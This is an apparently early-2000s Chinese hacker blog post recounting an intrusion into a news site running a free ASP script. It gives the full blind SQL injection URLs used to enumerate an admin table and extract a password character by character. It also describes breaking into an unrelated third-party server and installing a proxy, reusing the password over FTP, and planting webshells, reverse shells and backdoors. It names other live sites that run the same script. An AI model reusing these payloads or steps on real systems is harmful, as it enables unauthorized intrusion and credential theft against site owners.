不成功的入侵还是有点借鉴价值的,我想同样的方法换一个地方的话,说不定就成功了。 目的地是www.janker.org,呵呵,应该算是授权了的吧。传说中的黑客叔叔们都是先踩点的,如果我有条件的话,一定先到机房附近去看看,兴许还能捡到点密码什么的。不过实在太远,买车票过去的时间说不定我都可以打一把Windforce了,还是来点远程的吧。 拿出扫描器甲乙丙丁一阵乱扫,呵呵,结果大家都能猜到,就不废话了。反正80和23是开着的,这个结果要记住。 系统漏洞没有的话,有几种方法可以供选择:1、渗透;2、脚本漏洞。当然,还可以玩D.D.o.S,还可以背上炸药包炸主机,还可以用拖网把电缆弄断,还可以开飞机把那栋楼撞了,等等。当然这些要看攻击者的想象力,我还是老老实实的看脚本。 找啊找啊,找了几秒钟,找到一个地方没有很好的处理参数id。http://www.janker.org/show.asp?id=2;--出错了。“Microsoft JET Database Engine 错误 '80040e14' 在 SQL 语句结尾之后找到字符。”嗯,大虾们肯定已经看出来了吧?我想来想去觉得这句话告诉了两件事情:一、用的是ACCESS数据库;二、脚本里面兴许有什么" where id=" & request("id")之类的没有过滤的洞洞。关键是怎么用呢? 我还是决定像瞎子摸象一样再看看,猜了一会儿后,觉得一个发布系统远程总会有一个管理系统吧,猜猜表名看看。http://www.janker.org/show.asp?id=2 or id in (select id from admin) OK,没有报错,那么说起来存在一个admin的表,而且这张表里面有id项,其实后来想想这样不好,子查询只是要确定一下有没有admin这张表,用..... id <> (select count(*) from admin)比较好。 继续猜,猜了几个常见的列名,嗯,得到的结果是有user,password。到这里的时候,我觉得我走了很多弯路,虽然第一直觉是这是一个免费的公开源代码的东东,但是因为一下子我没有认出来是什么(我看过的东西很少啊,呵呵……),就没有去找下载,现在猜得头晕,觉得还是应该去找代码来看比较好。 于是我的方向又转到如何去找相同的东东。呵呵,很笨的,我想到了在google.coms搜索fir.asp,因为fir.asp是很奇怪的一个名字,结果我找到了很多很多相同的站点。我觉得几千个结果里面总有非常容易入侵的机器吧,嗯,我用的是webdavx3,大约失败60次以后,终于找了一个进去。当然啦,我只是要看看代码,没有别的意思,只是在这台机器上装了socks5代理(呵呵),补上漏洞就出来了。 这个时候已经临近熄灯时间,我就干脆断了网看代码,嗯,应该说是看那个Access数据库。早这样的话,我就会少走好多弯路啊,不过猜猜也很有意思,大脑长期不用会生锈的。 有人想到直接下数据库吧?呵呵,哪有这么容易的事情啊,数据库的名字百分之一百二被改掉了。 嗯,反正我已经知道admin表是怎样的了,猜猜密码也还不算是太累的工作。先看看admin里面有几个管理员。 http://www.janker.org/show.asp?id=3 AND 1<(select count(*) from admin) 嗯,比一个多…… http://www.janker.org/show.asp?id=3 AND 10<(select count(*) from admin) 没有十个…… (省略无聊过程若干) http://www.janker.org/show.asp?id=3 AND 5=(select count(*) from admin) 有五个管理员呢,随便找一个破一下啊…… 我选的是id=1的,我先猜的是它的密码第一位,呵呵,密码总要一位一位的猜嘛…… http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,1)='q') 嗯,显示是“未指定所需参数!”那么第一位不是q了,如果我们提交的SQL查询正确执行——也就是我们猜对了的话,是会出来id=3的那篇文章的(前面的那些也一样)。继续来吧…… w、e、r、t、y……猜了一会儿,结果出来了。 http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,1)='j') 显示了id为3的那篇文章,密码第一位为j。 暂停一下,如果密码有个2、30位的话,岂不是要猜死了,先看看密码有几位再说吧。方法和猜管理员的个数是一样的,直接给出结果 http://www.janker.org/show.asp?id=3 and 1=(select id from admin where len(password)=7 and id=1) 7位,刚好在我的心理承受范围之内,8位以上的话就要考虑写程序猜了。猜测的过程是美好的,你看到第一位是j后会怎样想呢,优先猜的肯定是a、A、4、@、k之类的吧?如果你猜到了前面三位是jk2,后面的00也会很自信的写上去吧?最后的密码是jk2008!,呵呵,如果你在30分钟内没有一位一位的猜出来的话,就不要做hacker/cracker了。还是给出过程: http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,2)='jk') http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,3)='jk2') http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,4)='jk20') http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,5)='jk200') http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,6)='jk2008') http://www.janker.org/show.asp?id=3 and 1=(select id from admin where left(password,7)='jk2008!') 嗯,大家在考场上有没有掷色子做选择题的经历啊?一般都是扔两次吧,呵呵,验算一下也是很必要的哦。顺便把用户名也猜出来了…… http://www.janker.org/show.asp?id=3 and 1=(select id from admin where password='jk2008!' and name='janker') 经过一番捣鼓,我终于得到了一个用户名/密码,嗯,很费工夫吧?费工夫的还在后面呢,还有四个用户可是等着我们猜的。当然,全部得到我想要的东西时,已经是第二天的事情了,至于用户名密码,我就不说了,我只是说过程嘛…… 然后干什么就是定式了吧?我选择的道路是先进入管理界面发布两条搞笑的消息,然后说不定有什么跨站脚本漏洞,新闻是显示在首页上的,没有过滤html字符的情况下,你可以想办法建一个1600x1200的div,背景色设定为黑,真正把它“黑”掉。或者刷新到你自己伪造的页面上,等待那些习惯从首页登陆的同志们的密码,哈哈哈哈……一切都很顺利,不是吗?可是管理界面在哪里呢? http://www.janker.org/admin/ 该页无法显示,faint!原来把管理的路径改了……这不是耍我嘛,搞了半天,做的都没有用嘛…… 嗯,还有一个办法的,呵呵,要不然太没有面子了。我干嘛要把几个密码都破出来啊,不就是想多一条路吗,还有FTP呢。呵呵,我记得在哪里看到说很多人都是用的一个密码,试了一下,有一个果然进去了。 GAME OVER!故事到这里就结束了。呵呵,没有成功吧,因为我已经累了,而且觉得很无聊啊,更加重要的是Janker告诉我有人以前用相同的方法得到过密码,我想建设永远比破坏困难,而我比较喜欢困难的事情。 如果要继续的话,故事也许会是…… 完美结局一: 上传的目录可以执行脚本,于是上传了一个.asp的SHELL,然后上传NC一类的东西反向连接,提升权限,清除脚印,安装后门,KO。 完美结局二: 上传的目录不可执行脚本……怎么办呢…… 上传了一个精心制作的folder.htr和desktop.ini,几天后,通过某不知名的木马的客户端连接到了那台机器。 完美结局三: …… 或许你还可以想出这样那样的完美或者是不完美的结局、然而真正的结尾只会有一个。对于管理突围(后来我知道这个系统的名字叫作管理突围)——一个2001年的作品,没有什么好说的。可是用这个的www.invchina.com、www.cnftrade.net、www.zgwl.net、www.manage.org.cn,还有那些用其它免费脚本的那些网站,不自己看看代码,你们真的能放心吗?